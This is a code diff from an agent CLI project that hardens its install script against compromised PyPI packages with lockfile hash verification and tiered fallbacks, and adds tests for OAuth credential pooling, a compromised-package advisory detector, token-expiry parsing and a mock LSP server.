for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
|
||||
done
|
||||
if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi
|
||||
done
|
||||
local _PYPI_SPEC
|
||||
_PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]"
|
||||
local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]"
|
||||
|
||||
ALL_INSTALL_LOG=$(mktemp)
|
||||
local _installed=false
|
||||
local _tier_name=""
|
||||
|
||||
install_tier() {
|
||||
local name="$1"; local spec="$2"
|
||||
log_info "Trying tier: $name ..."
|
||||
if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then
|
||||
log_success "Main package installed ($name)"
|
||||
_installed=true
|
||||
_tier_name="$name"
|
||||
return 0
|
||||
fi
|
||||
log_warn "Tier '$name' failed. Top of pip output:"
|
||||
head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
install_tier "all (with RL/matrix extras)" ".[all]" \
|
||||
|| install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \
|
||||
|| install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \
|
||||
|| install_tier "dashboard + core platforms" "$_TIER4_SPEC" \
|
||||
|| install_tier "core only (no extras)" "."
|
||||
|
||||
rm -f "$ALL_INSTALL_LOG"
|
||||
|
||||
if [ "$_installed" = false ]; then
|
||||
log_error "Package installation failed even with no extras."
|
||||
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
|
||||
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then
|
||||
log_warn "Note: installed via fallback tier ($_tier_name)."
|
||||
log_info "Some optional features may be missing. After resolving any"
|
||||
log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'"
|
||||
fi
|
||||
|
||||
log_success "Main package installed"
|
||||
|
||||
+48
-8
@@ -183,17 +183,57 @@ if is_termux; then
|
||||
else
|
||||
# Prefer uv sync with lockfile (hash-verified installs) when available,
|
||||
# fall back to pip install for compatibility or when lockfile is stale.
|
||||
#
|
||||
# Multi-tier pip fallback. Goal: ONE compromised PyPI package
|
||||
# (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote
|
||||
# a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive
|
||||
# breaks; users keep voice / honcho / google / slack / matrix etc. even
|
||||
# if mistral can't resolve.
|
||||
_BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
|
||||
_ALL_EXTRAS=(
|
||||
modal daytona vercel messaging matrix cron cli dev tts-premium slack
|
||||
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
|
||||
bedrock web youtube
|
||||
)
|
||||
_SAFE_EXTRAS=()
|
||||
for _e in "${_ALL_EXTRAS[@]}"; do
|
||||
_skip=false
|
||||
for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||
[ "$_e" = "$_b" ] && _skip=true && break
|
||||
done
|
||||
[ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e")
|
||||
done
|
||||
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
|
||||
_try_install() {
|
||||
$UV_CMD pip install -e ".[all]" \
|
||||
|| $UV_CMD pip install -e "$_SAFE_SPEC" \
|
||||
|| $UV_CMD pip install -e "."
|
||||
}
|
||||
|
||||
if [ -f "uv.lock" ]; then
|
||||
# Hash-verified install (preferred). The lockfile records SHA256
|
||||
# hashes for every transitive — a compromised transitive would have
|
||||
# a different hash and be REJECTED by uv. This is the only path
|
||||
# that protects against transitive-package supply-chain attacks
|
||||
# (the direct deps in pyproject.toml are exact-pinned, but
|
||||
# `uv pip install` re-resolves transitives fresh from PyPI).
|
||||
echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..."
|
||||
UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed (lockfile verified)" || {
|
||||
echo -e "${YELLOW}⚠${NC} Lockfile install failed (may be outdated), falling back to pip install..."
|
||||
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed"
|
||||
}
|
||||
_UV_SYNC_LOG=$(mktemp)
|
||||
if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)"
|
||||
rm -f "$_UV_SYNC_LOG"
|
||||
else
|
||||
echo -e "${YELLOW}⚠${NC} Lockfile sync failed (lockfile may be stale)."
|
||||
echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified."
|
||||
head -5 "$_UV_SYNC_LOG" | sed 's/^/ /'
|
||||
rm -f "$_UV_SYNC_LOG"
|
||||
_try_install
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
|
||||
fi
|
||||
else
|
||||
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed"
|
||||
echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives."
|
||||
_try_install
|
||||
echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
@@ -170,6 +170,50 @@ def test_auth_add_nous_oauth_persists_pool_entry(tmp_path, monkeypatch):
|
||||
assert singleton["inference_base_url"] == "https://inference.example.com/v1"
|
||||
|
||||
|
||||
def test_auth_add_minimax_oauth_starts_login_and_persists_pool_entry(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
|
||||
_write_auth_store(tmp_path, {"version": 1, "providers": {}})
|
||||
token = _jwt_with_email("minimax@example.com")
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.auth._minimax_oauth_login",
|
||||
lambda **kwargs: {
|
||||
"provider": "minimax-oauth",
|
||||
"region": "global",
|
||||
"portal_base_url": "https://api.minimax.io",
|
||||
"inference_base_url": "https://api.minimax.io/anthropic",
|
||||
"client_id": "client-id",
|
||||
"scope": "group_id profile model.completion",
|
||||
"token_type": "Bearer",
|
||||
"access_token": token,
|
||||
"refresh_token": "refresh-token",
|
||||
"resource_url": None,
|
||||
"obtained_at": "2026-05-11T10:00:00+00:00",
|
||||
"expires_at": "2026-05-14T10:00:00+00:00",
|
||||
"expires_in": 259200,
|
||||
},
|
||||
)
|
||||
|
||||
from hermes_cli.auth_commands import auth_add_command
|
||||
|
||||
class _Args:
|
||||
provider = "minimax-oauth"
|
||||
auth_type = "oauth"
|
||||
api_key = None
|
||||
label = None
|
||||
no_browser = True
|
||||
timeout = None
|
||||
|
||||
auth_add_command(_Args())
|
||||
|
||||
payload = json.loads((tmp_path / "hermes" / "auth.json").read_text())
|
||||
entries = payload["credential_pool"]["minimax-oauth"]
|
||||
entry = next(item for item in entries if item["source"] == "manual:minimax_oauth")
|
||||
assert entry["label"] == "minimax@example.com"
|
||||
assert entry["access_token"] == token
|
||||
assert entry["refresh_token"] == "refresh-token"
|
||||
assert entry["base_url"] == "https://api.minimax.io/anthropic"
|
||||
|
||||
|
||||
def test_auth_add_nous_oauth_honors_custom_label(tmp_path, monkeypatch):
|
||||
"""`hermes auth add nous --type oauth --label <name>` must preserve the
|
||||
custom label end-to-end — it was silently dropped in the first cut of the
|
||||
|
||||
@@ -2285,3 +2285,39 @@ def test_minimax_oauth_runtime_uses_inference_base_url(monkeypatch):
|
||||
resolved = rp.resolve_runtime_provider(requested="minimax-oauth")
|
||||
|
||||
assert MINIMAX_OAUTH_CN_INFERENCE.rstrip("/") in resolved["base_url"]
|
||||
|
||||
|
||||
def test_minimax_oauth_pool_forces_anthropic_messages_despite_stale_config(monkeypatch):
|
||||
"""A pooled MiniMax OAuth token must not inherit stale chat_completions config."""
|
||||
|
||||
class _Entry:
|
||||
access_token = "oauth-token"
|
||||
source = "manual:minimax_oauth"
|
||||
base_url = "https://api.minimax.io/anthropic"
|
||||
|
||||
class _Pool:
|
||||
def has_credentials(self):
|
||||
return True
|
||||
|
||||
def select(self):
|
||||
return _Entry()
|
||||
|
||||
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "minimax-oauth")
|
||||
monkeypatch.setattr(
|
||||
rp,
|
||||
"_get_model_config",
|
||||
lambda: {
|
||||
"provider": "minimax-oauth",
|
||||
"default": "MiniMax-M2.7",
|
||||
"api_mode": "chat_completions",
|
||||
},
|
||||
)
|
||||
monkeypatch.setattr(rp, "load_pool", lambda provider: _Pool())
|
||||
monkeypatch.setattr(rp, "_resolve_named_custom_runtime", lambda **k: None)
|
||||
monkeypatch.setattr(rp, "_resolve_explicit_runtime", lambda **k: None)
|
||||
|
||||
resolved = rp.resolve_runtime_provider(requested="minimax-oauth")
|
||||
|
||||
assert resolved["provider"] == "minimax-oauth"
|
||||
assert resolved["api_mode"] == "anthropic_messages"
|
||||
assert resolved["base_url"] == "https://api.minimax.io/anthropic"
|
||||
|
||||
@@ -0,0 +1,330 @@
|
||||
"""Tests for hermes_cli.security_advisories.
|
||||
|
||||
The advisory module is the user-facing detection / remediation surface
|
||||
for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that
|
||||
poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in
|
||||
isolation — no real package metadata, no real config, no real cache.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Iterator
|
||||
|
||||
import pytest
|
||||
|
||||
import hermes_cli.security_advisories as adv
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def fake_advisory() -> adv.Advisory:
|
||||
"""A self-contained Advisory used across tests."""
|
||||
return adv.Advisory(
|
||||
id="test-advisory-2026-99",
|
||||
title="Test advisory",
|
||||
summary="Pretend this package has been compromised.",
|
||||
url="https://example.com/advisory",
|
||||
compromised=(
|
||||
("fake-malicious-pkg", frozenset({"6.6.6"})),
|
||||
),
|
||||
remediation=(
|
||||
"pip uninstall -y fake-malicious-pkg",
|
||||
"Rotate any credentials that may have been exposed.",
|
||||
),
|
||||
published="2026-01-01",
|
||||
severity="critical",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
"""Redirect HERMES_HOME so banner cache and config writes are sandboxed."""
|
||||
home = tmp_path / ".hermes"
|
||||
home.mkdir()
|
||||
(home / "cache").mkdir()
|
||||
monkeypatch.setattr(Path, "home", lambda: tmp_path)
|
||||
monkeypatch.setenv("HERMES_HOME", str(home))
|
||||
return home
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]:
|
||||
"""Override _installed_version with a controllable lookup table."""
|
||||
table: dict[str, str] = {}
|
||||
monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg))
|
||||
yield table
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# detect_compromised
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestDetectCompromised:
|
||||
def test_no_match_returns_empty_list(self, fake_advisory, patched_version):
|
||||
# No matching package installed.
|
||||
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||
assert hits == []
|
||||
|
||||
def test_exact_version_match(self, fake_advisory, patched_version):
|
||||
patched_version["fake-malicious-pkg"] = "6.6.6"
|
||||
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||
assert len(hits) == 1
|
||||
assert hits[0].advisory.id == fake_advisory.id
|
||||
assert hits[0].package == "fake-malicious-pkg"
|
||||
assert hits[0].installed_version == "6.6.6"
|
||||
|
||||
def test_safe_version_does_not_match(self, fake_advisory, patched_version):
|
||||
# Package is installed but the version is not in the compromised set.
|
||||
patched_version["fake-malicious-pkg"] = "6.6.5"
|
||||
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||
assert hits == []
|
||||
|
||||
def test_empty_compromised_set_matches_any_version(
|
||||
self, patched_version
|
||||
):
|
||||
# An advisory with an empty version set is a "any version is suspect"
|
||||
# wildcard — used when an entire maintainer namespace is owned.
|
||||
wildcard = adv.Advisory(
|
||||
id="wildcard",
|
||||
title="Whole namespace owned",
|
||||
summary="x",
|
||||
url="x",
|
||||
compromised=(("evil-namespace", frozenset()),),
|
||||
remediation=("uninstall it",),
|
||||
)
|
||||
patched_version["evil-namespace"] = "0.0.1"
|
||||
hits = adv.detect_compromised(advisories=[wildcard])
|
||||
assert len(hits) == 1
|
||||
assert hits[0].installed_version == "0.0.1"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Acknowledgement persistence
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestAck:
|
||||
def test_get_acked_ids_empty_when_no_config(self, monkeypatch):
|
||||
# load_config raises → returns empty set, doesn't crash.
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: (_ for _ in ()).throw(RuntimeError("boom")),
|
||||
)
|
||||
assert adv.get_acked_ids() == set()
|
||||
|
||||
def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch):
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
|
||||
assert adv.filter_unacked([hit]) == []
|
||||
|
||||
def test_filter_unacked_passes_through_unknown(
|
||||
self, fake_advisory, monkeypatch
|
||||
):
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
assert adv.filter_unacked([hit]) == [hit]
|
||||
|
||||
def test_ack_advisory_persists_id(self, isolated_home, monkeypatch):
|
||||
# Stub the config layer end-to-end with a tiny in-memory store so we
|
||||
# don't depend on the full hermes_cli.config bootstrap.
|
||||
store: dict = {"security": {}}
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config", lambda: store
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.save_config",
|
||||
lambda cfg: store.update(cfg) or None,
|
||||
)
|
||||
assert adv.ack_advisory("test-advisory-2026-99") is True
|
||||
assert "test-advisory-2026-99" in store["security"]["acked_advisories"]
|
||||
# Idempotent.
|
||||
adv.ack_advisory("test-advisory-2026-99")
|
||||
assert (
|
||||
store["security"]["acked_advisories"].count("test-advisory-2026-99")
|
||||
== 1
|
||||
)
|
||||
|
||||
def test_ack_advisory_rejects_blank(self, isolated_home):
|
||||
assert adv.ack_advisory("") is False
|
||||
assert adv.ack_advisory(" ") is False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Banner cache rate limiting
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestBannerCache:
|
||||
def test_first_call_returns_due_hits(
|
||||
self, fake_advisory, isolated_home, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
due = adv.hits_due_for_banner([hit])
|
||||
assert due == [hit]
|
||||
|
||||
def test_second_call_within_window_suppresses(
|
||||
self, fake_advisory, isolated_home, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
adv.hits_due_for_banner([hit])
|
||||
# Same banner inside repeat window → suppressed.
|
||||
again = adv.hits_due_for_banner([hit])
|
||||
assert again == []
|
||||
|
||||
def test_call_after_window_re_banners(
|
||||
self, fake_advisory, isolated_home, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
adv.hits_due_for_banner([hit])
|
||||
# Backdate the cache so it looks like the banner was shown more
|
||||
# than 24h ago — should re-banner.
|
||||
cache_path = adv._banner_cache_path()
|
||||
assert cache_path is not None
|
||||
old_lines = cache_path.read_text(encoding="utf-8").splitlines()
|
||||
backdated = []
|
||||
for line in old_lines:
|
||||
parts = line.split(None, 1)
|
||||
if len(parts) == 2:
|
||||
backdated.append(f"{parts[0]} {time.time() - 48 * 3600}")
|
||||
cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8")
|
||||
again = adv.hits_due_for_banner([hit])
|
||||
assert again == [hit]
|
||||
|
||||
def test_acked_hits_never_banner(
|
||||
self, fake_advisory, isolated_home, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
assert adv.hits_due_for_banner([hit]) == []
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Rendering
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestRendering:
|
||||
def test_short_banner_lines_includes_id_and_version(self, fake_advisory):
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
lines = adv.short_banner_lines([hit])
|
||||
joined = "\n".join(lines)
|
||||
assert fake_advisory.id in joined
|
||||
assert fake_advisory.title in joined
|
||||
assert "fake-malicious-pkg==6.6.6" in joined
|
||||
assert "hermes doctor" in joined
|
||||
|
||||
def test_full_remediation_text_contains_all_steps(self, fake_advisory):
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
body = "\n".join(adv.full_remediation_text(hit))
|
||||
# All remediation steps must be present.
|
||||
for step in fake_advisory.remediation:
|
||||
assert step in body
|
||||
assert fake_advisory.url in body
|
||||
assert fake_advisory.summary in body
|
||||
|
||||
def test_render_doctor_section_clean_state(self):
|
||||
# No hits → success message, has_problems=False.
|
||||
has_problems, lines = adv.render_doctor_section([])
|
||||
assert has_problems is False
|
||||
assert any("No active security advisories" in line for line in lines)
|
||||
|
||||
def test_render_doctor_section_with_unacked_hit(
|
||||
self, fake_advisory, monkeypatch
|
||||
):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
has_problems, lines = adv.render_doctor_section([hit])
|
||||
assert has_problems is True
|
||||
body = "\n".join(lines)
|
||||
assert fake_advisory.title in body
|
||||
|
||||
def test_gateway_log_message_singular(self, fake_advisory, monkeypatch):
|
||||
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||
hit = adv.AdvisoryHit(
|
||||
advisory=fake_advisory,
|
||||
package="fake-malicious-pkg",
|
||||
installed_version="6.6.6",
|
||||
)
|
||||
msg = adv.gateway_log_message([hit])
|
||||
assert msg is not None
|
||||
assert fake_advisory.id in msg
|
||||
assert "fake-malicious-pkg==6.6.6" in msg
|
||||
|
||||
def test_gateway_log_message_returns_none_for_no_hits(self):
|
||||
assert adv.gateway_log_message([]) is None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Real catalog smoke test
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestRealCatalog:
|
||||
def test_advisories_well_formed(self):
|
||||
"""Every shipped advisory must be self-consistent.
|
||||
|
||||
Catches data-entry mistakes (empty IDs, missing remediation, bad
|
||||
compromised tuples) before they ship.
|
||||
"""
|
||||
seen_ids: set[str] = set()
|
||||
for advisory in adv.ADVISORIES:
|
||||
assert advisory.id, "advisory has empty id"
|
||||
assert advisory.id not in seen_ids, f"duplicate id {advisory.id}"
|
||||
seen_ids.add(advisory.id)
|
||||
assert advisory.title, f"{advisory.id}: empty title"
|
||||
assert advisory.summary, f"{advisory.id}: empty summary"
|
||||
assert advisory.remediation, f"{advisory.id}: empty remediation"
|
||||
assert advisory.url.startswith("http"), \
|
||||
f"{advisory.id}: bad url {advisory.url!r}"
|
||||
assert advisory.compromised, \
|
||||
f"{advisory.id}: empty compromised tuple"
|
||||
for pkg, versions in advisory.compromised:
|
||||
assert pkg, f"{advisory.id}: empty package name"
|
||||
assert isinstance(versions, frozenset), \
|
||||
f"{advisory.id}: versions must be frozenset"
|
||||
@@ -19,6 +19,8 @@ The fix:
|
||||
|
||||
These tests pin the corrected behavior.
|
||||
"""
|
||||
import time
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
@@ -67,6 +69,53 @@ def test_minimax_login_does_not_launch_anthropic_flow():
|
||||
assert body["expires_in"] == 600
|
||||
|
||||
|
||||
def test_minimax_dashboard_poller_accepts_absolute_ms_expired_in():
|
||||
"""Dashboard MiniMax completion must accept unix-ms token expiry values."""
|
||||
from hermes_cli import web_server as ws
|
||||
|
||||
now = datetime.now(timezone.utc)
|
||||
abs_ms = int((now.timestamp() + 1800) * 1000)
|
||||
session_id = "minimax-absolute-ms-test"
|
||||
ws._oauth_sessions[session_id] = {
|
||||
"session_id": session_id,
|
||||
"provider": "minimax-oauth",
|
||||
"flow": "device_code",
|
||||
"created_at": time.time(),
|
||||
"status": "pending",
|
||||
"error_message": None,
|
||||
"portal_base_url": "https://api.minimax.io",
|
||||
"client_id": "client-id",
|
||||
"user_code": "ABCD-1234",
|
||||
"code_verifier": "verifier",
|
||||
"interval_ms": 2000,
|
||||
"expired_in_raw": abs_ms,
|
||||
"region": "global",
|
||||
}
|
||||
captured_state = {}
|
||||
|
||||
try:
|
||||
with patch(
|
||||
"hermes_cli.auth._minimax_poll_token",
|
||||
return_value={
|
||||
"status": "success",
|
||||
"access_token": "access",
|
||||
"refresh_token": "refresh",
|
||||
"expired_in": abs_ms,
|
||||
"token_type": "Bearer",
|
||||
},
|
||||
), patch(
|
||||
"hermes_cli.auth._minimax_save_auth_state",
|
||||
side_effect=lambda state: captured_state.update(state),
|
||||
):
|
||||
ws._minimax_poller(session_id)
|
||||
finally:
|
||||
ws._oauth_sessions.pop(session_id, None)
|
||||
|
||||
assert captured_state["access_token"] == "access"
|
||||
assert 1790 <= captured_state["expires_in"] <= 1810
|
||||
assert datetime.fromisoformat(captured_state["expires_at"]).year < 9999
|
||||
|
||||
|
||||
def test_anthropic_pkce_branch_still_works():
|
||||
"""Sanity: the dispatcher tightening doesn't break the legitimate Anthropic PKCE path."""
|
||||
fake_anthropic_response = {
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
"""Pytest helpers for LSP-related tests."""
|
||||
@@ -0,0 +1,159 @@
|
||||
#!/usr/bin/env python3
|
||||
"""A minimal in-process LSP server used by tests.
|
||||
|
||||
Speaks just enough LSP to drive :class:`plugins.lsp.client.LSPClient`
|
||||
through a full lifecycle: ``initialize``, ``initialized``,
|
||||
``textDocument/didOpen``, ``textDocument/didChange``, then a
|
||||
``textDocument/publishDiagnostics`` notification followed by
|
||||
``shutdown`` + ``exit``.
|
||||
|
||||
Behaviour (all behaviours selectable via env var ``MOCK_LSP_SCRIPT``):
|
||||
|
||||
- ``"clean"`` — initialize, accept didOpen/didChange, push empty
|
||||
diagnostics on every open/change, exit cleanly on shutdown.
|
||||
- ``"errors"`` — same as ``clean`` but the published diagnostics
|
||||
carry one severity-1 entry pointing at line 0:0.
|
||||
- ``"crash"`` — exit immediately after responding to ``initialize``
|
||||
(simulates a crashing server).
|
||||
- ``"slow"`` — same as ``clean`` but sleeps 1s before responding to
|
||||
``initialize`` (lets us test timeout behaviour).
|
||||
|
||||
The script writes JSON-RPC framed messages to stdout and reads from
|
||||
stdin. No third-party dependencies — uses only stdlib so it runs
|
||||
under whatever Python the test process picks up.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
def read_message():
|
||||
"""Read one Content-Length framed JSON-RPC message from stdin."""
|
||||
headers = {}
|
||||
while True:
|
||||
line = sys.stdin.buffer.readline()
|
||||
if not line:
|
||||
return None
|
||||
line = line.rstrip(b"\r\n")
|
||||
if not line:
|
||||
break
|
||||
k, _, v = line.decode("ascii").partition(":")
|
||||
headers[k.strip().lower()] = v.strip()
|
||||
n = int(headers["content-length"])
|
||||
body = sys.stdin.buffer.read(n)
|
||||
return json.loads(body.decode("utf-8"))
|
||||
|
||||
|
||||
def write_message(obj):
|
||||
body = json.dumps(obj, separators=(",", ":")).encode("utf-8")
|
||||
sys.stdout.buffer.write(f"Content-Length: {len(body)}\r\n\r\n".encode("ascii"))
|
||||
sys.stdout.buffer.write(body)
|
||||
sys.stdout.buffer.flush()
|
||||
|
||||
|
||||
def main():
|
||||
script = os.environ.get("MOCK_LSP_SCRIPT", "clean")
|
||||
|
||||
while True:
|
||||
msg = read_message()
|
||||
if msg is None:
|
||||
return 0
|
||||
|
||||
if "id" in msg and msg.get("method") == "initialize":
|
||||
if script == "slow":
|
||||
time.sleep(1.0)
|
||||
write_message(
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": msg["id"],
|
||||
"result": {
|
||||
"capabilities": {
|
||||
"textDocumentSync": 1, # Full
|
||||
"diagnosticProvider": {"interFileDependencies": False, "workspaceDiagnostics": False},
|
||||
},
|
||||
"serverInfo": {"name": "mock-lsp", "version": "0.1"},
|
||||
},
|
||||
}
|
||||
)
|
||||
if script == "crash":
|
||||
return 0
|
||||
continue
|
||||
|
||||
if msg.get("method") == "initialized":
|
||||
continue
|
||||
|
||||
if msg.get("method") == "workspace/didChangeConfiguration":
|
||||
continue
|
||||
|
||||
if msg.get("method") == "workspace/didChangeWatchedFiles":
|
||||
continue
|
||||
|
||||
if msg.get("method") in ("textDocument/didOpen", "textDocument/didChange"):
|
||||
params = msg.get("params") or {}
|
||||
td = params.get("textDocument") or {}
|
||||
uri = td.get("uri", "")
|
||||
version = td.get("version", 0)
|
||||
diagnostics = []
|
||||
if script == "errors":
|
||||
diagnostics = [
|
||||
{
|
||||
"range": {
|
||||
"start": {"line": 0, "character": 0},
|
||||
"end": {"line": 0, "character": 5},
|
||||
},
|
||||
"severity": 1,
|
||||
"code": "MOCK001",
|
||||
"source": "mock-lsp",
|
||||
"message": "synthetic error from mock-lsp",
|
||||
}
|
||||
]
|
||||
write_message(
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"method": "textDocument/publishDiagnostics",
|
||||
"params": {
|
||||
"uri": uri,
|
||||
"version": version,
|
||||
"diagnostics": diagnostics,
|
||||
},
|
||||
}
|
||||
)
|
||||
continue
|
||||
|
||||
if msg.get("method") == "textDocument/diagnostic":
|
||||
# Pull endpoint — return empty.
|
||||
write_message(
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": msg["id"],
|
||||
"result": {"kind": "full", "items": []},
|
||||
}
|
||||
)
|
||||
continue
|
||||
|
||||
if msg.get("method") == "textDocument/didSave":
|
||||
continue
|
||||
|
||||
if msg.get("method") == "shutdown":
|
||||
write_message({"jsonrpc": "2.0", "id": msg["id"], "result": None})
|
||||
continue
|
||||
|
||||
if msg.get("method") == "exit":
|
||||
return 0
|
||||
|
||||
# Unknown request: respond with method-not-found.
|
||||
if "id" in msg:
|
||||
write_message(
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": msg["id"],
|
||||
"error": {"code": -32601, "message": f"method not found: {msg.get('method')}"},
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,154 @@
|
||||
"""Integration test: LSP plugin skips non-local paths.
|
||||
|
||||
The host-side LSP server can't see files inside Docker/Modal/SSH
|
||||
sandboxes. The plugin's ``_pre_tool_call`` uses ``os.path.exists``
|
||||
on the parent directory as a heuristic local-only gate. These tests
|
||||
verify the plugin hooks skip when the path clearly doesn't exist on
|
||||
the host filesystem.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _isolate_plugin_state():
|
||||
"""Reset plugin module state between tests."""
|
||||
# Import the plugin and clear any service state
|
||||
from plugins.lsp import _baselines
|
||||
_baselines.clear()
|
||||
yield
|
||||
_baselines.clear()
|
||||
|
||||
|
||||
def test_pre_tool_call_skips_nonexistent_parent_dir():
|
||||
